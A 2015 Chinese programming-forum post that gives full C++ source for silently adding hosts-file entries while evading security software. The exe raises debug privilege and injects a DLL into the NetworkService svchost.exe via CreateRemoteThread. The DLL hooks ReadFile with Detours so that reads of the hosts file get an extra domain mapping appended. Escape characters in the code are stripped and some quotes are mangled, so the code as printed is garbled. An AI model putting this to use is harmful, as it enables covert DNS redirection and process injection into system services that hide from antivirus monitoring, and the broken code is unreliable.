看流星社区

 找回密码
 注册账号
查看: 2367|回复: 0

C++另类方式修改host

[复制链接]

该用户从未签到

发表于 2015-3-28 16:53:14 | 显示全部楼层 |阅读模式
修改host大家都已经很熟悉了,修改host文件可以实现让本地访问的域名解析到任意IP。

正因如此,这一特性也成为各大安全软件重点照顾的对象,host中有一点异常就会提示甚至清空host。

今天我就提供一种方法,不修改host文件,实现添加host。

按照代码的逻辑,原理如下:

1.枚举进程,找到进程名为svchost.exe的进程。

2.通过获读取名为svchost.exe进程的PEB,读出进程的命令行参数,找到参数为-k NetworkService的svchost.exe的进程。

3.找到进程后注入dll,dll负责hook ReadFile,通过文件句柄获取文件名,如果是读取host文件的时候在读取到的结果处增加一行自己想要添加的host。

最后上代码。
exe部分:

#include <windows.h>
#include <Psapi.h>
#pragma comment(lib, "Psapi.lib")
#include <shlwapi.h>
#pragma comment(lib, "shlwapi.lib")
#include <Winternl.h>
#include <stdio.h>

typedef NTSTATUS (NTAPI *pfnZwQueryInformationProcess)(
_In_ HANDLE ProcessHandle,
_In_ PROCESSINFOCLASS ProcessInformationClass,
_Out_ PVOID ProcessInformation,
_In_ ULONG ProcessInformationLength,
_Out_opt_ PULONG ReturnLength
);

static pfnZwQueryInformationProcess ZwQueryInformationProcess = NULL;

BOOL GetProcessCommandLineByProcessId(DWORD dwProcessId, WCHAR *pszCommandLine, DWORD dwSize)
{
BOOL bRet = FALSE;

if(!ZwQueryInformationProcess)
{
HMODULE hModule = LoadLibrary(L"ntdll.dll");
if(hModule)
{
ZwQueryInformationProcess = (pfnZwQueryInformationProcess)GetProcAddress(hModule, "ZwQueryInformationProcess");
FreeLibrary(hModule);
}
}

if(ZwQueryInformationProcess)
{
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if(hProcess)
{
PROCESS_BASIC_INFORMATION BasicInfoemation = {0};
DWORD dwLength = 0;
if(BCRYPT_SUCCESS(ZwQueryInformationProcess(hProcess, ProcessBasicInformation, &BasicInfoemation, sizeof(BasicInfoemation), &dwLength)))
{
PEB Peb = {0};
DWORD dwRead = 0;
if(ReadProcessMemory(hProcess, BasicInfoemation.PebBaseAddress, &Peb, sizeof(Peb), &dwRead))
{
RTL_USER_PROCESS_PARAMETERS ProcessParameters = {0};
if(ReadProcessMemory(hProcess, Peb.ProcessParameters, &ProcessParameters, sizeof(ProcessParameters), &dwRead))
{
if(dwSize > ProcessParameters.CommandLine.Length)
{
if(ReadProcessMemory(hProcess, ProcessParameters.CommandLine.Buffer, pszCommandLine, ProcessParameters.CommandLine.Length, &dwRead))
bRet = TRUE;
}
}
}
}
CloseHandle(hProcess);
}
}

return bRet;
}

BOOL GetProcessNameByProcessId(DWORD dwProcessId, WCHAR *pszProcessName, DWORD dwSize)
{
BOOL bRet = FALSE;

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if(hProcess)
{
if(GetModuleBaseName(hProcess, NULL, pszProcessName, dwSize))
bRet = TRUE;
CloseHandle(hProcess);
}

return bRet;
}

DWORD FindProcess()
{
DWORD dwProcessId = 0;
DWORD dwProcessIds[1024] = {0};
DWORD dwNeed = 0;
int nProcessNum = 0;
WCHAR szProcessName[MAX_PATH] = {0};
WCHAR szCommandLine[1024] = {0};

if(EnumProcesses(dwProcessIds, sizeof(dwProcessIds), &dwNeed))
{
nProcessNum = dwNeed / sizeof(DWORD);
for(int i = 0; i < nProcessNum; i ++)
{
memset(szProcessName, 0, sizeof(szProcessName));
if(GetProcessNameByProcessId(dwProcessIds[i], szProcessName, sizeof(szProcessName)))
{
if(!StrCmpI(szProcessName, L"svchost.exe"))
{
memset(szCommandLine, 0, sizeof(szCommandLine));
if(GetProcessCommandLineByProcessId(dwProcessIds[i], szCommandLine, sizeof(szCommandLine)))
{
if(StrStrI(szCommandLine, L"-k NetworkService"))
{
dwProcessId = dwProcessIds[i];
break;
}
}
}
}
}
}

return dwProcessId;
}

BOOL EnableDebugPrivilege(BOOL bEnable)
{
BOOL bRet = FALSE;

HANDLE hToken = NULL;
TOKEN_PRIVILEGES tp = {0};;
LUID luid = {0};

if(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
if(LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
{
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if(bEnable)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;

if(AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL))
bRet = TRUE;
}
CloseHandle(hToken);
}
return bRet;
}

BOOL InjectDll(DWORD dwProcessId, WCHAR *pszDllPath)
{
BOOL bRet = FALSE;
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if(hProcess)
{
DWORD dwLen = wcslen(pszDllPath) * 2 + 2;
LPVOID lpRemotePath = VirtualAllocEx(hProcess, NULL, dwLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(lpRemotePath)
{
DWORD dwWrite = 0;
if(WriteProcessMemory(hProcess, lpRemotePath, pszDllPath, dwLen, &dwWrite))
{
HMODULE hModule = LoadLibrary(L"kernel32.dll");
if(hModule)
{
LPTHREAD_START_ROUTINE addrLoadLibraryW = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "LoadLibraryW");
if(addrLoadLibraryW)
{
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, addrLoadLibraryW, lpRemotePath, 0, NULL);
if(hThread)
{
WaitForSingleObject(hThread, INFINITE);
bRet = TRUE;
CloseHandle(hThread);
}
}
FreeLibrary(hModule);
}
}
VirtualFreeEx(hProcess, lpRemotePath, dwLen, MEM_RELEASE);
}
CloseHandle(hProcess);
}
return bRet;
}

void main()
{
if(EnableDebugPrivilege(TRUE))
{
DWORD dwProcessId = FindProcess();
if(dwProcessId)
{
if(InjectDll(dwProcessId, L"c:\dll.dll"))
{
MessageBox(0, L"注入成功!", 0, 0);

FindFirstChangeNotification(L"C:\WINDOWS\system32\drivers\etc\", FALSE, FILE_NOTIFY_CHANGE_LAST_WRITE);
}
}
}
}




dll部分:

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
#include <Windows.h>
#include <Psapi.h>
#pragma comment(lib, "Psapi.lib")
#include <Strsafe.h>
#include "….Detours Express 3.0srcdetours.h"
#pragma comment(lib, "..\..\Detours Express 3.0\lib.X86\detours.lib")
#include <shlwapi.h>
#pragma comment(lib, "shlwapi.lib")

#define BUFSIZE 512

BOOL GetFileNameFromHandle(HANDLE hFile, WCHAR *pszFilename)
{
BOOL bSuccess = FALSE;
HANDLE hFileMap;

// Get the file size.
DWORD dwFileSizeHi = 0;
DWORD dwFileSizeLo = GetFileSize(hFile, &dwFileSizeHi);

if( dwFileSizeLo == 0 && dwFileSizeHi == 0 )
{
return FALSE;
}

// Create a file mapping object.
hFileMap = CreateFileMapping(hFile,
NULL,
PAGE_READONLY,
0,
1,
NULL);

if (hFileMap)
{
// Create a file mapping to get the file name.
void* pMem = MapViewOfFile(hFileMap, FILE_MAP_READ, 0, 0, 1);

if (pMem)
{
if (GetMappedFileName (GetCurrentProcess(),
pMem,
pszFilename,
MAX_PATH))
{

// Translate path with device name to drive letters.
WCHAR szTemp[BUFSIZE];
szTemp[0] = ‘\0';

if (GetLogicalDriveStrings(BUFSIZE-1, szTemp))
{
WCHAR szName[MAX_PATH];
WCHAR szDrive[3] = TEXT(" :");
BOOL bFound = FALSE;
WCHAR* p = szTemp;

do
{
// Copy the drive letter to the template string
*szDrive = *p;

// Look up each device name
if (QueryDosDevice(szDrive, szName, MAX_PATH))
{
size_t uNameLen = wcslen(szName);

if (uNameLen < MAX_PATH)
{
bFound = _wcsnicmp(pszFilename, szName, uNameLen) == 0
&& *(pszFilename + uNameLen) == L’\';

if (bFound)
{
// Reconstruct pszFilename using szTempFile
// Replace device path with DOS path
WCHAR szTempFile[MAX_PATH];
StringCchPrintf(szTempFile,
MAX_PATH,
TEXT("%s%s"),
szDrive,
pszFilename+uNameLen);
StringCchCopyN(pszFilename, MAX_PATH+1, szTempFile, wcslen(szTempFile));
}
}
}

// Go to the next NULL character.
while (*p++);
} while (!bFound && *p); // end of string
}
}
bSuccess = TRUE;
UnmapViewOfFile(pMem);
}

CloseHandle(hFileMap);
}
return(bSuccess);
}

static BOOL (WINAPI *RealReadFile)(
_In_ HANDLE hFile,
_Out_ LPVOID lpBuffer,
_In_ DWORD nNumberOfBytesToRead,
_Out_opt_ LPDWORD lpNumberOfBytesRead,
_Inout_opt_ LPOVERLAPPED lpOverlapped
) = ReadFile;

BOOL WINAPI HookedReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped)
{
BOOL bRet = FALSE;

bRet = RealReadFile(hFile, lpBuffer, nNumberOfBytesToRead, lpNumberOfBytesRead, lpOverlapped);

if(!StrStrIA((char *)lpBuffer, "www.moguizuofang.com"))
{
WCHAR szFilePath[MAX_PATH + 1] = {0};
char szDomain[] = "rn127.0.0.1twww.moguizuofang.comrn";
if(GetFileNameFromHandle(hFile, szFilePath))
{
if(StrStrI(szFilePath, L"WINDOWS\system32\drivers\etc\hosts"))
{
strcat_s((char *)lpBuffer, nNumberOfBytesToRead, szDomain);
*lpNumberOfBytesRead += strlen(szDomain);
}
}
}

return bRet;
}

void Hook()
{
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID &)RealReadFile, HookedReadFile);
DetourTransactionCommit();
}

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
Hook();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
点击按钮快速添加回复内容: 支持 高兴 激动 给力 加油 苦寻 生气 回帖 路过 感恩
您需要登录后才可以回帖 登录 | 注册账号

本版积分规则

小黑屋|手机版|Archiver|看流星社区 |网站地图

GMT+8, 2024-4-19 16:56

Powered by Kanliuxing X3.4

© 2010-2019 kanliuxing.com

快速回复 返回顶部 返回列表